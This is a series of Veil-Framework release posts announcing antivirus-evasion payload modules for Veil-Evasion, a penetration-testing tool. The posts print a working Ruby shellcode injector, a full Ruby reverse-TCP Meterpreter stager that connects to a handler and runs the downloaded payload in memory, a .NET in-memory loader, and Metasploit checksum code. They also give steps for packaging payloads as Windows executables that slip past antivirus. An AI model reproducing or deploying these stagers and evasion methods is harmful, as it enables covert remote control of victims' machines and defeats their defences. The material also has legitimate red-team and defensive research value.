A Perl of Hope – January V-Day 2016

Welcome to 2016!  For the first post/release of the year, I’m happy to push out a new language!  First, I will preface this release by stating my politically correct opinion that Perl, is not fun.  However, that doesn’t mean it isn’t viable for writing shellcode injectors!

This month, I’m pushing out the standard “flat” shellcode injection template for perl, which lets you generate perl shellcode injectors.  However, if you run this module, you’re going to see something different than the other modules Veil-Evasion currently supports, right now there’s no native Windows compilation within Kali.

As of this release, I have not yet been able to get all the required dependencies installed within Wine and working.  There is a workaround, similar to our Python Py2Exe output, you can “compile” this perl script into a self-contained Windows executable by using a Windows VM.  While not the most ideal, I personally am always running a Windows VM in addition to a linux one while on tests, so I would imagine many of you follow a similar setup.

To generate a Windows executable, there’s a couple steps you’ll need to follow:

    1. Generate your perl payload like you would any other Veil-Evasion payload.  Once Veil-Evasion is done, you’re going to receive the source code output (like normal), but no executable.
    2. Move the perl script over to your Windows VM (tested on Windows XP x32 and Windows 7 x64).
    3. Install Perl (x32) on your windows VM (I’ve personally tested this process using the latest x32 Strawberry Perl build).
    4. Once Perl has been installed, open a command prompt and run “cpan PAR::Packer”
      1. This step will take a little while, and will require an internet connection
    5. Navigate to your .pl Veil-Evasion output within a command prompt and type “pp –gui -o <output_name_here.exe> <veil-evasion_perl_output.pl>”

perl compile

You now have your Perl executable!

I realize this isn’t the most ideal setup, but I’d rather we have the ability to generate these payloads vs. hold back on the release.  I’ll continue to look into finding a way to make this work within Wine, but if anyone wants to help figure this out, it would definitely be appreciated :)

Anyways, hope that this helps, and happy new year!

 

A Year of V-Days

Exactly a year ago today, we introduced V-Day, our continuous release cycle for Veil-Evasion. We wanted to provide a way to systematically release our evasion research as it progressed, as well as letting everyone know that Veil-Evasion is an actively maintained and developed project.

Back in May we reflected on a year of development for the Veil-Framework. We promise we won’t wax poetic again about the how far the project’s come, how much fun we’ve had developing Veil and interacting with the community, or how awesome the reception at Defcon was from everyone.

Instead, we’re going to cut to the chase and detail our 1 year V-Day anniversary, our biggest release yet.

Ruby Modules

The coolest news this month is the release of Ruby payload modules. Ruby has a foreign function interface similar to Python’s ctypes. It’s a gem named win32-api, and it will allow you to access and manipulate lower-level Windows32 API functions. This means we can inject shellcode generated from msfvenom using the newly released ruby/shellcode_inject/flat module:

require 'rubygems'
require 'win32/api'
include Win32
exit if Object.const_defined?(:Ocra)

# set up all the WinAPI function declarations
VirtualAlloc = API.new('VirtualAlloc', 'IIII', 'I')
RtlMoveMemory = API.new('RtlMoveMemory', 'IPI', 'V')
CreateThread = API.new('CreateThread', 'IIIIIP', 'I')
WaitForSingleObject = API.new('WaitForSingleObject', 'II', 'I')

# our shellcode
payload = "\xfc\xe8\x89..."

# Reserve the necessary amount of virtual address space
# VirtualAlloc needs to have at least 0x1000 specified as the length otherwise it'll fail
ptr = VirtualAlloc.call(0,(payload.length > 0x1000 ? payload.length : 0x1000), 0x1000, 0x40)

# move the payload buffer into the allocated area
x = RtlMoveMemory.call(ptr,payload,payload.length)

# start the thread
handleID = CreateThread.call(0,0,ptr,0,0,0)

# wait a long time for the thread to return
x = WaitForSingleObject.call(handleID,0xFFFFFFF)

But it doesn’t stop there. With this API access, we can also build a pure Ruby reverse_tcp Meterpreter stager, following the same pattern we’ve described in the past. The ruby/meterpreter/rev_tcp stager is a pure-Ruby stage 1 Meterpreter loader, which doesn’t rely on shellcode:

require 'rubygems'
require 'win32/api'
require 'socket'
include Win32
exit if Object.const_defined?(:Ocra)

# set up all the WinAPI function declarations
VirtualAlloc = API.new('VirtualAlloc', 'IIII', 'I')
RtlMoveMemory = API.new('RtlMoveMemory', 'IPI', 'V')
CreateThread = API.new('CreateThread', 'IIIIIP', 'I')
WaitForSingleObject = API.new('WaitForSingleObject', 'II', 'I')

# needed to translate a ruby socket into an actual system file descriptor / socket num
get_osfhandle = API.new('_get_osfhandle', 'I', 'I', 'msvcrt.dll')

# connect to our handler
s = TCPSocket.open('192.168.52.150', 4444)

# read/decode the size of the metepreter payload being transmitted
payloadLength = Integer(s.recv(4).unpack('L')[0])

# 5 spaces -> 1 byte for ASM code, 4 byes for socket descriptor (below)
payload = "     "

# make sure we get all of the meterpreter payload
while payload.length < payloadLength payload += s.recv(payloadLength) end #prepend a little assembly to move our SOCKET value to the EDI register # BF 78 56 34 12 => mov edi, 0x12345678
payload[0] = ['BF'].pack("H*")
socketID = get_osfhandle.call(s.fileno)

# copy in the underlying socket ID into the buffer
for i in 1..4
payload[i] = Array(socketID).pack('V')[i-1]
end

# Reserve the necessary amount of virtual address space
# VirtualAlloc needs to have at least 0x1000 specified as the length otherwise it'll fail
ptr = VirtualAlloc.call(0,(payload.length > 0x1000 ? payload.length : 0x1000), 0x1000, 0x40)

# move the payload buffer into the allocated area
x = RtlMoveMemory.call(ptr,payload,payload.length)

# start the thread
handleID = CreateThread.call(0,0,ptr,0,0,0)

# wait a long time for the thread to return
x = WaitForSingleObject.call(handleID,0xFFFFFFF)

These Ruby approaches are great, but you’re probably heard us iterate again and again on how we want a single monolithic attack platform. We hate having to switch back to a Windows box with a specific environment installed (Python, Ruby, etc.) in order to compile our backdoors. Hence our philosophy of trying to only release module families that can compile to Windows executables, all on Kali linux.

Luckily, Ruby has a nice analogue for Pyinstaller, a gem named OCRA, which stands for “One Click Ruby Application”. It follows the same general idea that Pyinstaller does, by wrapping up a Ruby environment, dependencies and target script that are extracted to a temporary directory on a target and executed. And happily, with a bit of trickery we can get this all running on Kali linux as well :)

veil_evasion_ruby_compilation

With the new update, the ./setup.sh script for Veil-Evasion will install Ruby under Wine along with the necessary gems. We’ll have a few more Ruby stagers for release next month, and I spoke about this payload family during my BSides Augusta presentation “Adventures in Asymmetric Warfare: Fighting the AV Vendors“.

A .NET Crypter

Also released this V-Day, and also covered in the BSides Augusta presentation, is a basic .NET “crypter” named Arya. C#/VB.net code is compiled, not interpreted, so we can’t quite build a dynamic obfuscator equivalent to Pyherion. However, .NET has an interesting feature called reflection, which you can use to create type instances at run time, and to invoke and access them. If we have an array of raw bytes of a .NET binary, we can run the entire executable from memory with 3 lines by utilizing reflection:


Assembly a = Assembly.Load(bytes);
MethodInfo m = a.EntryPoint;
m.Invoke(a.CreateInstance(m.Name), null);

We can obfuscate those bytes in any way we want beforehand, and can store them locally in the file or remotely to download and execute. When Arya is run as a standalone script, you have the option to feed it C# source code or a precompiled .NET .exe. It will then generate either a launcher for the obfuscated source, or a dropper that downloads the obfuscated .NET snippet from a URI. The option use_arya has also been implemented into every C# Veil-Evasion payload, giving you the option to implement another level of obfuscation:

veil_evasion_arya

Ubuntu Compatibility

One of the most common requests we received at Defcon was for support beyond just Kali linux. And while Kali remains as our only *officially* supported platform, we’re happy to announce that @TheMightyShiv has brought Ubuntu 14+ and Debian 7+ compatibility to Veil-Evasion, along with non-root installations!

If you have a fresh Ubuntu 14 image, you can run the short setup script hosted at this gist which will install the latest versions of the Metasploit framework and Veil-Evasion.

If you already have Metasploit installed, clone off Veil-Evasion and fire up the ./setup/setup.sh script:

$ git clone https://github.com/Veil-Framework/Veil-Evasion.git
$ cd Veil-Evasion/setup/
$ ./setup.sh

When you launch the script, you’ll be prompted for your password to sudo. While all the Apt dependencies are being installed, you’ll be on this screen for a bit:

ubuntu_evasion_setup1

If you want to check the status of the install or see what’s happening, check the setup.log in the ./setup/ folder:

ubuntu_evasion_setup2

When you hit this screen, tab over to <Yes> to accept the EULA:

ubuntu_evasion_setup3

And when you his this screen, click Yes to overwrite the existing files:

ubuntu_evasion_setup4

Finally, when you hit the end of the setup, enter the installation path for your Metasploit installation. If you used the gist setup or other common setup scripts, this path is likely at /usr/local/share/metasploit-framework/ :

ubuntu_evasion_setup5

After that everything *should* run properly. There are likely a few issues we missed, so if you run into any problems please submit an issue to our github.

Thanks again to everyone for all their support. We’re looking forward to another great year of releases.

August 15th V-Day: Smash and Pillage

We have a two-part release for everyone this V-Day. First, we have two new PowerShell stagers for Veil-Evasion, powershell/meterpreter/rev_http and powershell/meterpreter/rev_https. For some more background on how the reverse_http[s] stagers work, check out the post on the Python versions of those stagers. As with the other versions of these stagers, we get Beacon compatibility for free as well.

Second, a new tool for the Veil-Framework was released last week at Defcon 22. Veil-Pillage is a modular post-exploitation framework that subsumes Veil-Catapult and implements a ton more features. The slides for the presentation on pillage given at Defcon, “Veil-Pillage: Post-Exploitation 2.0” are located here on slideshare, and the three recorded demos given during the presentation are available here. Once the video of the presentation is online this post will be updated. We’ll have some posts in the upcoming weeks covering Veil-Pillage’s feature set, modules, use cases and more. We also have a few Pillage module ideas in the pipeline, which will be released on the 1st of each month.

And a big thank you to everyone at Hacker Summer Camp. We have a great time talking to everyone about the Veil-Framework at Blackhat Arsenal (slides here), and the response to the Defcon presentation has been awesome. We appreciate everyone’s support and hope to keep releasing more cool stuff over the next year!

March 15th V-Day Release

This month’s V-Day will be quick, but we promise still useful. Veil-Evasion 2.6.0, just pushed to the master branch, now implements two new obfuscated C payloads, c/meterpreter/rev_http and it’s service-version brother c/meterpreter/rev_http_service. These are the http flavors of the rev_tcp stagers released a while back, and function the same way the python reverse_http stagers do. They have the MSF http checksum algorithm built in as well, so each run should request a shiny new resource URI for staging. Oh, and these work great against a beacon handler as well.

We also have a shiny new update from @midnite_runr‘s awesome Backdoor Factory tool, check it out!

Also, a few people have been having problems with some Veil-Evasion payloads crashing, often with the powershell/* modules. We figured that this was due to the Metasploit Framework modifying the output format for msfvenom, which is where we pull our generated shellcode from. The specific commit is here. We put a patch into Veil-Evasion that attempts to determine the build version of your local Metasploit installation and pulls shellcode output appropriately depending on version. Let us know if there are any additional problems.

Lastly, to offer another option to utilize Veil-Evasion in external tools, we’ve implemented a basic JSON RPC interface for payload generation. Invoking it with ./Veil-Evasion.py –rpc will open up a local listener to handle the RPC connections, spitting back out the paths to successfully generated payloads. We’ll have a quick blog post up in the next week on utilizing this functionality.

Veil-Evasion 2.4.0 – Reverse HTTP

For our January V-Day, we’re introducing two new payload modules, python/meterpreter/rev_http and python/meterpreter/rev_https. These stagers are shellcode-less, ‘pure’ Meterpreter stagers somewhat similar to traditional reverse_tcp stagers.

Meterpreter reverse_https[s] stagers are actually a bit simpler than reverse_tcp. The general idea is the same- the handler serves up a .dll file that the client then injects using the VirtualAlloc/etc. methodology. However, instead of having to patch the .dll ourselves with assembly instructions and the socket file descriptor, the Metasploit handler patches the user-agent, transport method (http/https), url and expiration/communication timeout dynamically as it serves the Meterpreter .dll:

rev_http_patch

The only slightly tricky part is reversing the http checksum method that a Metasploit stager uses for requesting the specific resource from the handler (that /aIc0 above) . This URI resource generation method is ‘generate_uri_checksum()’ in metasploit-framework/lib/msf/core/handler/reverse_http/uri_checksum.rb (formally in metasploit-framework/lib/msf/core/handler/reverse_http.rb) . The algorithm can be implemented in Python as follows:

# adds up all character values and mods the total by 256
def checksum8(s):
	return sum([ord(ch) for ch in s]) % 0x100

# generate a metasploit http handler compatible checksum for the URL
def genHTTPChecksum():
	chk = string.ascii_letters + string.digits
	for x in xrange(64):
		uri = "".join(random.sample(chk,3))
		r = "".join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random()))
		for char in r:
			if checksum8(uri + char) == 92:
				return uri + char

Since http[s] stagers are packet-based instead of stream-based, the MSF devs put a system into the handlers that corrals ‘orphaned’ sessions. That is, if you close your reverse_http handler, then start it up later (within the specified reconnect window) the handler will pick the session back up and reregister it. We talked about this during our Building in the Meterpreter .dll post. Here, since we’re registering a session in the correct way, we stay with the ’92’ checksum value (which corresponds to URI_CHECKSUM_INITW).

With the checking algorithm implemented in the stagers, you’ll get a nice and different checksum value every time each stager is run, instead of having to rely on a single hardcoded value. Another nice little bonus with the rev_http is that it plays functions nicely as a native stager for Cobalt Strike’s beacon. We talked about using beacon with Veil previously and this gives a nice alternative to using straight shellcode stagers. 

Veil-Evasion 2.3.0 – More Stagers

Time for our December V-Day. Veil-Evasion 2.3.0 has been pushed to the master branch and we’d like to let you know exactly what’s changed:

  • New Payloads – meterpreter/reverse_tcp stagers for C# and Python have been released under cs/meterpreter/rev_tcp and python/meterpreter/rev_tcp. These function similarly to the C stagers released on our last V-Day.
  • C# obfuscation –  People may have noticed that our C# payloads look surprisingly similar on each generation: this is because our first approach was a simple template that we substituted connection options into. All C# payloads now implement basic variable and method obfuscation in an attempt to generate slightly dissimilar payload “families”. More advanced obfuscation will be implemented in upcoming releases.
  • Python self-expiring payloads – Python payloads now have an expiration option; this will be covered in more detail in an upcoming post.
  • Payload hash record – the SHA-1 hash of every generated payload executable is now kept in ~/veil-output/hashes.txt. An upcoming post will show how to put this to use.
  • Payload reorganization – The way payloads are organized has been changed. The general structure is now [language]/[method]/[payload]. ‘Method’ at this point consists of “meterpreter” for Meterpreter stagers, and “shellcode_inject” for the various shellcode injection methods. List on the main menu will show you the structure, or you can browse it directly at ./modules/payloads/*
  • Command line options changed – Along with the payload reorganization, the “-l” command line option has been eliminated and “-p” now takes the entire payload name, i.e. “-p python/meterpreter/rev_tcp”. ./Veil.py -p will list all available payloads if a specific one isn’t specified. Also, new options have been introduced, “–overwrite”, which will overwrite existing source/compiled payload files if they exist, and “–clean” which will clean out payload folders.
  • Backend Changes –  the main class for the payload modules is now “Payload” instead of “Stager”. Additionally, “crypters.py” has been absorbed into “encryption.py” and “randomizer.py” has been absored into “helpers.py”. Check out ./modules/payloads/template.py for proper usage. Our previous tutorials and posts have been updated to reflect the changes.

We shoot to preserve as much backwards compatibility as possible, but occasionally backend changes do need to be made in the framework. Our goal is to make these types of modifications as rarely as possible, and to give everyone a heads up for major interface and framework tweaks. With these consolidated changes, usability should hopefully stay uniform for at least the next year.

 

Veil-Evasion 2.2.0 – Native Stagers

Shellcode injection has been around for a long time and usually utilizes four standard windows API calls:

  1. VirtualAlloc() is used to allocation a RWX memory page to hold the shellcode
  2. RtlMoveMemory() (or some other low-level copy function) is used to copy the shellcode bytes into the region reserved by VirtualAlloc()
  3. CreateThread() is used to create a thread within the virtual address space of the calling process
  4. WaitForSingleObject() is used to wait until the thread exits

Since the Metasploit .dll is built to be reflectively injectable using Stephen Fewer’s awesome work, we can use the same process to inject the .dll into memory. If we make a few more tweaks, we can build a pure Metasploit stager without resorting to shellcode. Egypt did a great job describing how the Metasploit stager works :

  1. establish a socket connection to the Metasploit handler
  2. read a 4-byte length
  3. allocate a (length-byte + 5) buffer, mark it as writable and executable
  4. at buffer[0], write some assembly that stores the current socket ID of the connection in the EDI register
  5. at buffer[1:4] store the int value of the current socket ID
  6. read length bytes from the connection from the pipe into buffer[5…] (this is the meterpreter .dll)
  7. invoke call the shellcode blob with the VirtualAlloc() pattern or void pointer casting
  8. the meterpreter .dll now uses the already-established socket for communication, avoiding an additional connect back

Raphael Mudge did a great post a bit ago talking about building these types of loaders, and we stumbled upon his stager code a while back and adapted the code for Veil-evasion. For today’s V-Day, we’re releasing a traditional and psexec-able service versions of this c-stager in Veil-evasion v.2.2.0 under c/meter_rev_tcp and c/meter_rev_tcp_service. We’ve implemented some basic randomization and method obfuscation to decrease detection.

Have fun :)

Veil-Evasion 2.1.0 Release

Hello and welcome to our second V-Day!  We’re happy to push the Veil-Evasion 2.1.0 release to our master branch.  As standard with any of our releases, we’d like to document for you exactly what has changed:

  • New Payload – Joshua Pitts’ awesome tool The Backdoor Factory has been integrated into Veil. This tool has way more features to play around with than what we’re defaulted to- be sure to play around with it and check it out.
  • Self-Contained Payload Update – Our previous release of the self-contained payloads used an older version of the metserv.dll and would crash if you did not use the correct version.  This has since been updated and the latest dlls are now being used within the self-contained payloads. 
  • Re-added Update Functionality – Somewhere during our development project, we accidentally removed the capability to update Veil-Evasion directly within the tool.  This functionality has been added back in (again).  :)
    • Note: To utilize the update functionality built into Veil to work, you will need to have cloned Veil from github because it requires the git information stored within the Veil directory to update. If you installed via apt, you can always do an apt-get update to get the latest version within the repositories.
  • Validation to LHOST and LPORT – To help prevent any confusion on when to add the LHOST and LPORT value, we’ve expanded our validation checks to catch additional exceptions and provide feedback if entering either parameter at the wrong screen.
  • Default msfvenom options –  Default options for msfvenom, such as PrependMigrate, can now be specified in /etc/veil/settings.py

We’d Like to Introduce – V-Day

Over the past 6 months the Veil team has built up a decent private repository of publicly-drawn and privately-developed AV-evasion research. This has resulted in 30+ private payload modules that span a variety of methods and languages. We realized that this code was doing no good just sitting around; we want these methods out! So after some debate, a schedule for the next year has been drafted to release these modules in the main Veil github repository.

The Veil-Evasion team is starting something we’re calling “V-Day”, for victory over antivirus. On the 15th of every month, for the next year, at least one new payload module will be released. We’d like to thank Microsoft with their Patch Tuesday as our inspiration :) With that being said, we’re happy to release the following updates to Veil-Evasion for our very first V-Day.

We’ve released the capability to include void pointer casting to all python payloads. We wanted to be able to provide some information to you about how they work and what it means for you.

Currently, Veil now has two methods of injecting shellcode into memory, Void Pointer Casting or VirtualAlloc (and a few additional calls). Both methods can work, but void pointer casting does require a specific target and/or configuration setting.

Voidcast

Void pointer casting works by storing our shellcode in an array, and passing a pointer to the array to a function which then executes the shellcode. The issue you may encounter with this method of injecting code is DEP (Data Execution Prevention). When injecting shellcode in this manner, we aren’t “marking” the location in memory where our shellcode is stored as being executable. Therefore, systems (typically Vista or newer) that use DEP will likely prevent your shellcode from being executed. You may receive an access violation message, or simply nothing at all. There is a chance that this method in injecting and executing shellcode will work, however, it does require that the enforcement “level” is set in an insecure manner, potentially such as “AlwaysOff”.

VirtualAlloc lets us bypass standard DEP enforcement. When we use VirtualAlloc to allocate memory, we specifically set the allocated memory as being “PAGE_EXECUTE_READWRITE“. This allows us to not only write to the allocated section of memory, but also execute the code stored inside of it as well. This is a valid call that can be used to bypass DEP. Therefore, for DEP protected systems, this is likely the injection method that will work to execute your payload.

Virtualalloc

If you have any questions about this, feel free to leave a comment, or just ask any of us on twitter.

Note: with this version of Veil, the ./config/veil.py settings file may have moved for some installations to /etc/veil/settings.py , and the ./output/ folder is being moved to ~/veil-output/ in an effort to move towards proper Debian compliance for Kali.

Thanks, and don’t get caught!

Building in the Meterpreter .dll

Today we are releasing a few new modules that take a slightly different approach to payload delivery.  Please welcome the shellcode-less python/MeterHTTPContained and python/MeterHTTPSContained modules, which encapsulate the meterpreter .dll within a python payload.

These payloads read in the meterpreter metsrv.dll from the Metasploit install path, binary patch in some header information, an agent string, communication/expiration timeouts, ssl information, and finally the address/port of the metasploit handler. The binary data of the .dll is then compressed using zlib and transformed into a base64 string, and a launcher is built that decompresses the .dll and injects it into memory. Since the meterpreter .dll is built for reflective injection, it will take over execution from there.

reverse_http_contained

One detail that was glossed over: meterpreter’s checkin for reverse_http and reverse_https aren’t quite a simple as “connect and read”. Various URI’s with varying checksums are sent depending on communication state. Normally, a stager checks in with a handler, receives the meterpreter .dll as a response, and starts comms. So how do we ‘trick’ the handler into not sending the full .dll? We use the already-established comms checksum value, which will register the stager as an ‘orphaned session’ and reattach it to the particular handler.

reverse_http_checksum

For anyone interested in the technical details, the metasploit reverse_http/https handler is located at /usr/share/metasploit-framework/lib/msf/core/handler/reverse_http.rb . URI_CHECKSUM_CONN is the checksum value for established comms that we use to generate our initial URI, and generate_uri_checksum(sum) is the short checksum algorithm that the handler uses. The checksum was ported over to python so we can generate unique checkins instead of hardcoding values.